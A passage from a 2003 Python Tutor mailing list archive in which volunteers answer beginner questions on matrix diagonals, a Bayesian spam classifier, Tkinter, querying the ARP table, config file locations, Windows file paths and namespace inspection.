    print "Nonspam: %d words known" % len(count.nonspam)
    return count

def main():
    build_corpus()
    
    save_Data()
    sw =Classifier()
    
    # for tseting
    #'Spam/msg101.txt'
    file = open('NonSpam/10002-nspm.txt') 
    text = file.read()            
    sw.isSpam(text)
        





if __name__=='__main__':
    main()
    #for arg in sys.argv[1:]:
    #global results
    #load_Data()
    
    #build_corpus()
    #save_Data()
    #sw =Classifier()
    
    # for tseting
    #'Spam/msg101.txt'
    #file = open('10002-nspm.txt') 
    #text = file.read()            
    #sw.isSpam(text)
        
    
    

            
#------------------------------------------
#a = Classifier()
#rint a.classify(Token("this is a sentence"))
#b = a.hello()
#b
#------------------------------


--0-1080038127-1055078789=:59825--


From alan.gauld@blueyonder.co.uk  Sun Jun  8 13:14:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun  8 12:14:01 2003
Subject: [Tutor] matrix q?
References: <BAY7-F23gUFDKPGzGqi00004880@hotmail.com>
Message-ID: <000301c32dd8$eff60710$6401a8c0@xp>

> it works but i can not see it how it works

OK, I'll go through it line by line, If the explanation is 
not clear come back with specific questions.

> >for n in range(len(aMatrix)):

We can split this into two lines to explain it:

indices = range(len(aMatrix))

This produces a list of numbers from zero to one less than
the length(number of rows) in the matrix. Thus for a 3x3 matrix
we get back [0,1,2]

for n in indices:

We loop round using each value of the indices list in turn.

If anything up to here is not clear visit the "Loops" chapter in
my tutorial.

> > item = aMatrix[n][n]

We use the value to access the row and column, since as you 
already noticed the diagonal uses the same value for each, 
thus

0,0
1,1
2,2

for our 3x3 example.

> with the same logic should work for the upDiagonal   20 11 02

We need to extend it slightly.
If we store the length as a variable:

length = len(aMatrix) - 1 # -1 coz zero based

then for the first value subtract n from length we get(for a 3x3):

2 - 0 = 2
2 - 1 = 1
2 - 2 = 0

So the only change is to store length and then for the access 
part do this:

print aMatrix[length-n][n]

And hey presto!

There is another approach which is to use two separate counters
and a while loop:

col = 0,
row = length(aMatrix)-1
while row > = 0:
   print aMatrix[row][col]
   row = row - 1
   col = col + 1

Any questions?

BTW I've cc'd the tutor list since part of the purpose of the list 
is to share information, there could be anoither newbie out there 
with the same kind of questions who will benefit from the reply.
As Magnus said our private time costs money if you want private 
tuition it will cost (about $100/hour will cover it;-), what we do 
on the list is for public benefit.

 :-)

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From abli@freemail.hu  Sun Jun  8 13:23:10 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sun Jun  8 12:23:10 2003
Subject: [Tutor] about a program
In-Reply-To: <20030608132629.60251.qmail@web14505.mail.yahoo.com>
References: <20030608132629.60251.qmail@web14505.mail.yahoo.com>
Message-ID: <20030608162247.GA5326@hooloovoo>

Abdirizak abdi wrote:
> I was working on a program that verifies whether a given message is spam or
> not. the program uses statistical analysis based on Paul Graham's plan for
> spam. 
I hope you know that others are already working on similar projects.
Google for "spambayes" for example.

[...snipped code ...]

I didn't really check the mathematical part where you calculate the
probabilities.

The code you posted has an obvious problem in that  build_corpus()
creates an instace of Classifier, fills it with the data, and returns
it.
However, in main(), where you call build_corpus(), you don't store the
return value anywhere, so it is lost. Then, when you are testing the
message, you create a new instance of Classifier, which won't have any
data about the probabilities. This in itself will render the program
useless.

Other remarks:
1) The code for  save_Data() is missing. Classifier inherits from
ClassifierI, which is also missing. (These two problems most likely have
nothing to do with your current problem.)

2) Why don't you make build_corpus a method of Classifier? That way you
could use it like:
c=Classifier('spam/*.txt', 'non-spam/*.txt') #<- __init__ calls build_corpus
c.isSpam('file.txt')

3) There is no reason to use that ugly hack of storing the number of
words as the number of the occurences of '*'. Put it somewhere else,
like Classifier.num_spam_words . ( I would guess that the odds of
finding a * as a word is pretty high, so that will break you numbers,
not to mention using such special cases is simply stupid.)

4) I you put the word-counting in a seperate function, you could have
also placed the iteration over files there to.
(The "for file in glob("NonSpam/1000*-*.txt"):" loop )

5) if you use split() in build_corpus(), why do you use a regex in
isSpam? Wouldnt you want to use the same method?

Thats all for now,
Abel Daniel



From abli@freemail.hu  Sun Jun  8 13:44:01 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sun Jun  8 12:44:01 2003
Subject: [Tutor] (no subject)
In-Reply-To: <Law15-F52ROONwIidWZ00033666@hotmail.com>
References: <Law15-F52ROONwIidWZ00033666@hotmail.com>
Message-ID: <20030608164318.GB5326@hooloovoo>

bob smith wrote:
> Hi.  I'm just starting to learn to use the Tkinter module for creating
> GUIs.  I'm using a tutorial that gives a basic starting program of:
> 
> from Tkinter import *
> root = Tk()
> app = Frame(root)
> root.mainloop()
> 
> But do I really need root?  It seems like the program could simply be:
> 
> from Tkinter import *
> app = Frame()
> app.mainloop()
> 
> This second program works just as well as the first and seems more
> intuitive to me.  I'm creating an application that is a Frame and I
> start the application by invoking the application's mainloop() method.
> 
> The first example seems more obtuse.  root seems unnecessary and
> invoking root's mainloop() instead of app's seems odd to me too (if I
> want to start app, I should invoke a method of app).
> 
> So, what's wrong with the second version?  Will I run into problems
> later when I add more widgets and get into more complex GUIs?
> 
> Thanks,
> Bob
> 
Well, I don't think there is too much difference between the two. One
thing which the second method makes impossible is to place an other
frame in the same window next to app. (As you would need something like
other_frame = Other_App(root), where you have to pass in root.)

Judging from the tkinter source both mainloop calls call the same code
and thus do exactly the same thing.

I don't think anything is wrong with the second version. And even if
there is, this isn't exactly a major design decision, you can change it
anytime you want. It doesn't affect how you write the code for app, nor
how your users use it.

Abel Daniel
ps. Two remarks:

"import Tkinter" instead of "from Tkinter import *" is usually
considered better as it doesn't pollutes your global namespace.
(of course this means that you have to type "Tkinter." a lot of places,
but I think it's worth it.)

In the example you posted, you don't do any geometry management (like
pack() or grid() ), You didn't make the mistake of pack()-ing app in
it's __init__ method, did you?


From adam@personaltelco.net  Sun Jun  8 13:55:03 2003
From: adam@personaltelco.net (Adam Shand)
Date: Sun Jun  8 12:55:03 2003
Subject: [Tutor] Retrieving arp of gateway
Message-ID: <3EE36A38.2010507@personaltelco.net>

Hi.

I'm playing around with writing my first Python network program and am 
trying to figure out a platform neutral way to get the MAC of my 
gateway.  It's fairly easy to do this with popen's to shell code but you 
end up having to look for what OS is running and then run slightly 
different commands for each OS.

Eg. on Linux

netstat = os.popen('netstat -rn | grep ^0.0.0.0').readlines()
arp = os.popen('arp %s' % netstat[0].split()[1]).readlines()
address = arp[1].split()[2]

Is there a python native way to query a computers arp table?  I haven't 
been able to find much on network programming with either on python.org 
or via google.

Thanks,
Adam.



From shalehperry@attbi.com  Sun Jun  8 15:56:21 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun Jun  8 14:56:21 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <20030607234146.GF1597@localhost.localdomain>
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com> <20030607234146.GF1597@localhost.localdomain>
Message-ID: <200306081155.00547.shalehperry@attbi.com>

> >
> > If you *EVER* intend this to be real software used by real users, yes
> > /etc is the place to go.  It is probably a good idea to create a subdir
> > and place the config in there.  Something like /etc/mypackage/foo.conf.
>
> R. Alan Monroe wrote me off this mailing list and pointed out that
> Windows users have no /etc/ directory. Mac OS X users do.
>

since you referred to /etc I assumed (yes I know ...) you were only referring 
to a Unix like operating system.

If you truly want to be portable here we go .....

a) easy case, store all of the program in one base dir as suggested.  Expected 
behavior on Windows and I believe OS X.

b) however, this is the WRONG behavior under a Unix like OS.  /usr is often 
mounted read-only so your config once written could never be changed.  It 
also prevents people from packaging the software and integrating it with the 
rest of the OS (say for instance Debian, RedHat, NetBSD).

Therefore as Kirk mentions the best situation is to have the location of th 
config defined as a variable and allow the installation procedure to indicate 
where the config ends up.

Note this same discussion is relevant for logs, data and just about anything 
else you write.

** for the purists out there, let me settle the pedantic issues screaming in 
your head.

Yes, old school Unix used to dump a program in /usr/lib/app.  As noted above 
this prevents /usr being mounted read-only and also prevents proper 
utilization of things like network mounted directories.  A modern approach to 
this is to have a /opt hierarchy and each directory in /opt is like a 
installation directory in OS X or Windows.  Just drop the whole thing there 
and everything works.  However not everyone likes /opt or supports it fully 
(the Linux Standards Base will slowly get the Linux community to support it 
though).

If you like the all in one place philosophy or the spread out philosophy the 
above suggestion allows for either.

Now that I have put everyone to sleep, back to your regularly scheduled 
emails.



From shalehperry@attbi.com  Sun Jun  8 15:57:03 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun Jun  8 14:57:03 2003
Subject: [Tutor] Retrieving arp of gateway
In-Reply-To: <3EE36A38.2010507@personaltelco.net>
References: <3EE36A38.2010507@personaltelco.net>
Message-ID: <200306081156.18560.shalehperry@attbi.com>

>
> Is there a python native way to query a computers arp table?  I haven't
> been able to find much on network programming with either on python.org
> or via google.
>

not sure if it helps or not, but try looking at twisted.net (and no it is not 
.NET from MS).



From phthenry@earthlink.net  Sun Jun  8 16:17:01 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Sun Jun  8 15:17:01 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <200306081155.00547.shalehperry@attbi.com>
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com> <20030607234146.GF1597@localhost.localdomain> <200306081155.00547.shalehperry@attbi.com>
Message-ID: <20030608191809.GW1597@localhost.localdomain>

On Sun, Jun 08, 2003 at 11:55:00AM -0700, Sean 'Shaleh' Perry wrote:
> 
> since you referred to /etc I assumed (yes I know ...) you were only referring 
> to a Unix like operating system.

Yes, I guess I wasn't clear.

> 
> If you truly want to be portable here we go .....
> 
> a) easy case, store all of the program in one base dir as suggested.  Expected 
> behavior on Windows and I believe OS X.
> 
> b) however, this is the WRONG behavior under a Unix like OS.  /usr is often 
> mounted read-only so your config once written could never be changed.  It 
> also prevents people from packaging the software and integrating it with the 
> rest of the OS (say for instance Debian, RedHat, NetBSD).
> 
> Therefore as Kirk mentions the best situation is to have the location of th 
> config defined as a variable and allow the installation procedure to indicate 
> where the config ends up.

I included my configuartion script below. Is what you mean? The user
runs python configuration.py before python setup.py build. 

> 
> Note this same discussion is relevant for logs, data and just about anything 
> else you write.
> 
> 
> Now that I have put everyone to sleep, back to your regularly scheduled 
> emails.

Not me! Configuration files is always a bit of a problem for me.
Everything else in the setup seems relativley straight forward.


# /usr/bin/env python 

import sys, os
import options_trem

"""

The configuration script gets the target from the command line. It changest the setup.py and the actual script so that they have the right target.

"""

def configure():
    target = get_target()
    change_setup(target)
    change_script(target)

def get_target():
    """
    This functions uses a module I wrote to parse options. If no options are
    determined on the command line, the function returnst the default
    /etc/nest_docutis

    """
    options_dict = {
        'target':     [1, 't'],
    }
    options_obj = options_trem.ParseOptions(sys.argv, 
            options_dict)
    opt_dict, args = options_obj.parse_options()
    if opt_dict == 0:
        sys.stdout.write('Will use the default configuration of /etc/nest_docutils\n')
        return '/etc/docutils_nest'
    target = opt_dict.get('target')
    if not target:
        return '/etc/docutils_nest'
    return target

def change_setup(target):
    """

    Chage the setup.py file to reflect the target

    """
    read_obj = open('setup.py', 'r')
    write_obj = open('temp', 'w')
    line = 1
    while line:
        line = read_obj.readline()
        index = line.find('data_files=')
        if index > -1:
            write_obj.write('data_files = [("%s", ["data/configure.xml"])],\n' % target)
        else:
            write_obj.write(line)
    read_obj.close()
    write_obj.close()
    read_obj = open('temp', 'r')
    write_obj = open('setup.py', 'w')
    line = 1
    while line:
        line = read_obj.readline()
        write_obj.write(line)
    read_obj.close()
    write_obj.close()


def change_script(target):

    """

    Changet the script to reflect the right target

    """
    read_obj = open('nest_inline/nest_docutils.py', 'r')
    write_obj = open('temp', 'w')
    line = 1
    while line:
        line = read_obj.readline()
        index = line.find('$configure$')
        if index > -1:
            write_obj.write("ext_location = '%s' #  $configure$" % \
                    target)
        else:
            write_obj.write(line)
    read_obj.close()
    write_obj.close()
    read_obj = open('temp', 'r')
    write_obj = open('docutils_nest/nest_docutils.py', 'w')
    line = 1
    while line:
        line = read_obj.readline()
        write_obj.write(line)
    read_obj.close()
    write_obj.close()

if __name__ == '__main__':
    configure()

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From am@fx.ro  Sun Jun  8 16:42:02 2003
From: am@fx.ro (Adrian Maier)
Date: Sun Jun  8 15:42:02 2003
Subject: [Tutor] Retrieving arp of gateway
In-Reply-To: <3EE36A38.2010507@personaltelco.net>; from adam@personaltelco.net on Sun, Jun 08, 2003 at 09:54:16AM -0700
References: <3EE36A38.2010507@personaltelco.net>
Message-ID: <20030608214907.A333@coto>

Adam Shand (adam@personaltelco.net) a scris :
> Hi.
> 
> I'm playing around with writing my first Python network program and am 
> trying to figure out a platform neutral way to get the MAC of my 
> gateway.  It's fairly easy to do this with popen's to shell code but you 
> end up having to look for what OS is running and then run slightly 
> different commands for each OS.
> 
> Eg. on Linux
> 
> netstat = os.popen('netstat -rn | grep ^0.0.0.0').readlines()
> arp = os.popen('arp %s' % netstat[0].split()[1]).readlines()
> address = arp[1].split()[2]
> 
> Is there a python native way to query a computers arp table?  I haven't 
> been able to find much on network programming with either on python.org 
> or via google.

I'm not sure if this will help, but:

If i remember correctly, the arp table can be accessed through
the SNMP protocol. 
You need:
 - the pysnmp module (i have found it on 'the vaults of parnassus', 
   and it is hosted on sourceforge).
 - a snmp service running on the computer you want to query.
 
 - you need to find out the OID (object identifier) that
   corresponds to the arp table (i had the "MIB-II" rfc printed 
   somewhere, i think it's either rfc1213 or rfc3418 but i'm 
   not sure).


This approach might be too complicated, especially if you don't have 
a snmp service/daemon already. But with SNMP you could gather some 
other 'interesting' information about the host.


Cheers,

-- 
Adrian Maier
(am@fx.ro)


From bgailer@alum.rpi.edu  Sun Jun  8 17:04:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sun Jun  8 16:04:01 2003
Subject: [Tutor] (no subject)
In-Reply-To: <20030608164318.GB5326@hooloovoo>
References: <Law15-F52ROONwIidWZ00033666@hotmail.com>
 <Law15-F52ROONwIidWZ00033666@hotmail.com>
Message-ID: <5.2.1.1.0.20030608140004.025f11c0@66.28.54.253>

At 06:43 PM 6/8/2003 +0200, Abel Daniel wrote:

>(of course this means that you have to type "Tkinter." a lot of places,

<soapbox> perhaps this is a good place to mention (again) the desirability 
of a "with" statement in Python.</soapbox>

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From R. Alan Monroe" <amonroe@columbus.rr.com  Sun Jun  8 17:13:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sun Jun  8 16:13:02 2003
Subject: [Tutor] (no subject)
In-Reply-To: <5.2.1.1.0.20030608140004.025f11c0@66.28.54.253>
References: <Law15-F52ROONwIidWZ00033666@hotmail.com>
 <Law15-F52ROONwIidWZ00033666@hotmail.com>
 <5.2.1.1.0.20030608140004.025f11c0@66.28.54.253>
Message-ID: <198-1883619462.20030608161801@columbus.rr.com>

> At 06:43 PM 6/8/2003 +0200, Abel Daniel wrote:

>>(of course this means that you have to type "Tkinter." a lot of places,

> <soapbox> perhaps this is a good place to mention (again) the desirability 
> of a "with" statement in Python.</soapbox>

You can always abbreviate with the help of "as".

import Tkinter as tk
or even,
import Tkinter as t

Saves on some typing.

Alan



From magnus@thinkware.se  Sun Jun  8 17:46:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  8 16:46:01 2003
Subject: [Tutor] chinese in python2.2.3
In-Reply-To: <002b01c32d80$fe7b8ec0$334c70dc@homeu0a59ztmqs>
References: <5.2.1.1.0.20030608022816.01f3cde0@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030608223941.01e80160@www.thinkware.se>

At 13:44 2003-06-08 +0800, jyllyj wrote:
>i think that is not good idea and I am looking forward for some good ideas.
>that's all.

What makes you think it's not a good idea?

A reason *not* to do it that I can think of, is that it
might be difficult to share the code with others outside
China that don't use UTF-8 normally.

But it'n not very convenient to use an ASCII representation
like u"\N1111\N2222\N3333". That's not readable to anyone.

 From an internationalization point of view, the best solution
might be to write everything in English and use the gettext
module to translate to Chinese. Then all chinese text would be
outside the source code. But that seems like overworking it
unless you intend to support several languages. You would have
to write all you texts in two languages, and maintain separate
files...

If you start with UTF-8 and later feel that it's a bad idea,
I suppose you can write a script that will convert your source
code, either to hex format or to a style that fits gettext.

I'd suggest doing what feels easiest right now.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From ellisonh@prodigy.net  Sun Jun  8 18:33:02 2003
From: ellisonh@prodigy.net (Homer Ellison)
Date: Sun Jun  8 17:33:02 2003
Subject: [Tutor] File path
Message-ID: <000101c32e05$5d414a60$afee7b43@homer3cq9tc2v2>

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01C32DCA.B0E27260
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hello,
 
I'm new to programming in Python (and to object-oriented programming in
general). The programming experience I have is from a long time ago, so
I'm going to have many questions.
 
How do I specify the file path within my code to access files for
reading and writing? I'm using a PC with 32-bit Windows.
 
Thank you,
Homer
 

------=_NextPart_000_0002_01C32DCA.B0E27260
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2>Hello,</FONT></SPAN></DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial size=3D2>I'm =
new to=20
programming in Python (and to object-oriented programming in general). =
The=20
programming experience I have is from a long time ago, so I'm going to =
have many=20
questions.</FONT></SPAN></DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial size=3D2>How do =
I specify the=20
file path within my code to access files for reading and writing? I'm =
using a PC=20
with 32-bit Windows.</FONT></SPAN></DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial size=3D2>Thank=20
you,</FONT></SPAN></DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2>Homer</FONT></SPAN></DIV>
<DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0002_01C32DCA.B0E27260--




From gus.tabares@verizon.net  Sun Jun  8 21:18:02 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Sun Jun  8 20:18:02 2003
Subject: [Tutor] File path
In-Reply-To: <000101c32e05$5d414a60$afee7b43@homer3cq9tc2v2>
Message-ID: <LFEJJJNJEBIGPEPEPLIPIEAECAAA.gus.tabares@verizon.net>

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C32DFA.D4BB3B60
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

MessageHomer,

    You might want to try something along these lines:

#!/usr/bin/env python

fd = open('C:\\Directory\\Subdirectory\\textfile.txt', 'r')
fd.read()

You could also assign the directory string to a variable like this:

path = r'C:\Directory\Subdirectory\textfile.txt'
fd = open(path, 'r')


HTH,
Gus
  -----Original Message-----
  From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Homer Ellison
  Sent: Sunday, June 08, 2003 5:32 PM
  To: Python Tutor List
  Subject: [Tutor] File path


  Hello,

  I'm new to programming in Python (and to object-oriented programming in
general). The programming experience I have is from a long time ago, so I'm
going to have many questions.

  How do I specify the file path within my code to access files for reading
and writing? I'm using a PC with 32-bit Windows.

  Thank you,
  Homer


------=_NextPart_000_000C_01C32DFA.D4BB3B60
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Message</TITLE>
<META content=3D"text/html; charset=3Dus-ascii" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3502.5390" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>Homer,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>&nbsp;&nbsp;&nbsp; You might want to try =
something=20
along these lines:</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>#!/usr/bin/env python</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D000421400-09062003>fd =3D=20
open('C:\\Directory\\Subdirectory\\textfile.txt', =
'r')</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>fd.read()</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D000421400-09062003>You=20
could also assign the directory string to a variable like=20
this:</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D000421400-09062003>path =3D=20
r'C:\Directory\Subdirectory\textfile.txt'</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D000421400-09062003>fd =3D=20
open(path, 'r')</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>HTH,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D000421400-09062003>Gus</SPAN></FONT></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
tutor-admin@python.org=20
  [mailto:tutor-admin@python.org]<B>On Behalf Of </B>Homer=20
  Ellison<BR><B>Sent:</B> Sunday, June 08, 2003 5:32 PM<BR><B>To:</B> =
Python=20
  Tutor List<BR><B>Subject:</B> [Tutor] File path<BR><BR></DIV></FONT>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2>Hello,</FONT></SPAN></DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial size=3D2>I'm =
new to=20
  programming in Python (and to object-oriented programming in general). =
The=20
  programming experience I have is from a long time ago, so I'm going to =
have=20
  many questions.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial size=3D2>How =
do I specify=20
  the file path within my code to access files for reading and writing? =
I'm=20
  using a PC with 32-bit Windows.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial =
size=3D2>Thank=20
  you,</FONT></SPAN></DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2>Homer</FONT></SPAN></DIV>
  <DIV><SPAN class=3D322492821-08062003><FONT face=3DArial=20
  size=3D2></FONT></SPAN>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000C_01C32DFA.D4BB3B60--



From thomi@thomi.imail.net.nz  Sun Jun  8 21:26:20 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Sun Jun  8 20:26:20 2003
Subject: [Tutor] testing for variable creation?
Message-ID: <20030609122506.6803a08f.thomi@thomi.imail.net.nz>

Hey,


Is there an easy way to test to see if a specific variable has been
created yet?

I know you can use try: and except:, but surely there's an easier
solution? (i seem to remember reading somewhere about a dictionary which
stored references to all the variables inside a script??)

any ideas?


thanks,

-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From gus.tabares@verizon.net  Sun Jun  8 22:32:01 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Sun Jun  8 21:32:01 2003
Subject: [Tutor] testing for variable creation?
In-Reply-To: <20030609122506.6803a08f.thomi@thomi.imail.net.nz>
Message-ID: <LFEJJJNJEBIGPEPEPLIPGEAFCAAA.gus.tabares@verizon.net>

Thomas,

	I think what you're looking for involves using the built-in function 'dir'.
For example:

>>> x = 5
>>> dir()
['__builtins__', '__doc__', '__name__', 'x']

I believe it returns a list of the variables in that namespace.


HTH,
Gus

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Thomas CLive Richards
Sent: Sunday, June 08, 2003 8:25 PM
To: tutor@python.org
Subject: [Tutor] testing for variable creation?



Hey,


Is there an easy way to test to see if a specific variable has been
created yet?

I know you can use try: and except:, but surely there's an easier
solution? (i seem to remember reading somewhere about a dictionary which
stored references to all the variables inside a script??)

any ideas?


thanks,

--

Thomi Richards,
thomi@thomi.imail.net.nz


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From alan.gauld@blueyonder.co.uk  Mon Jun  9 01:09:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  9 00:09:02 2003
Subject: [Tutor] (no subject)
References: <Law15-F52ROONwIidWZ00033666@hotmail.com> <Law15-F52ROONwIidWZ00033666@hotmail.com> <5.2.1.1.0.20030608140004.025f11c0@66.28.54.253>
Message-ID: <002401c32e3c$e9107070$6401a8c0@xp>

> At 06:43 PM 6/8/2003 +0200, Abel Daniel wrote:
> >(of course this means that you have to type "Tkinter." a lot of
places,
>
> <soapbox> perhaps this is a good place to mention (again) the
desirability
> of a "with" statement in Python.</soapbox>

Bob,

How would a with statement help in Python? I've seen this request
often for C++ where it could be useful, but with Python's reference
based naming I've never felt a need for a with in Python?

I usually just use 'it' as a handy shortcut to any long chains:

it = foo.bar.baz.whatever
it.item = 42
it.another = 27
it.save()

and so on...

What exactly would a 'with' do that an 'it' doesn't?

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From alan.gauld@blueyonder.co.uk  Mon Jun  9 01:14:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  9 00:14:03 2003
Subject: [Tutor] File path
References: <000101c32e05$5d414a60$afee7b43@homer3cq9tc2v2>
Message-ID: <003001c32e3d$84829920$6401a8c0@xp>

> How do I specify the file path within my code to access files for
> reading and writing? I'm using a PC with 32-bit Windows.

There have been a few mails on this topic in the last few 
days, check the archive for all the possible variations!

Personally I use forward slashes instead of back slashes since 
that works for Windows, Unix and MacOS X...

source = file("./foo/bar/baz.txt","r")  # to read
dest = file("D:/spam.txt","w")  # write

HTH

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld




From bgailer@alum.rpi.edu  Mon Jun  9 13:04:06 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Mon Jun  9 12:04:06 2003
Subject: [Tutor] (no subject)
In-Reply-To: <002401c32e3c$e9107070$6401a8c0@xp>
References: <Law15-F52ROONwIidWZ00033666@hotmail.com>
 <Law15-F52ROONwIidWZ00033666@hotmail.com>
 <5.2.1.1.0.20030608140004.025f11c0@66.28.54.253>
Message-ID: <5.2.1.1.0.20030609095105.04c50930@66.28.54.253>

At 05:09 AM 6/9/2003 +0100, Alan Gauld wrote:

> > At 06:43 PM 6/8/2003 +0200, Abel Daniel wrote:
> > >(of course this means that you have to type "Tkinter." a lot of
>places,
> >
> > <soapbox> perhaps this is a good place to mention (again) the
>desirability
> > of a "with" statement in Python.</soapbox>
>
>Bob,
>
>How would a with statement help in Python? I've seen this request
>often for C++ where it could be useful, but with Python's reference
>based naming I've never felt a need for a with in Python?
>
>I usually just use 'it' as a handy shortcut to any long chains:
>
>it = foo.bar.baz.whatever
>it.item = 42
>it.another = 27
>it.save()
>
>and so on...
>
>What exactly would a 'with' do that an 'it' doesn't?

Having programmed in Pascal, Visual FoxPro and Visual Basic (all of which 
provide "with") I am accustomed to using with. So for me
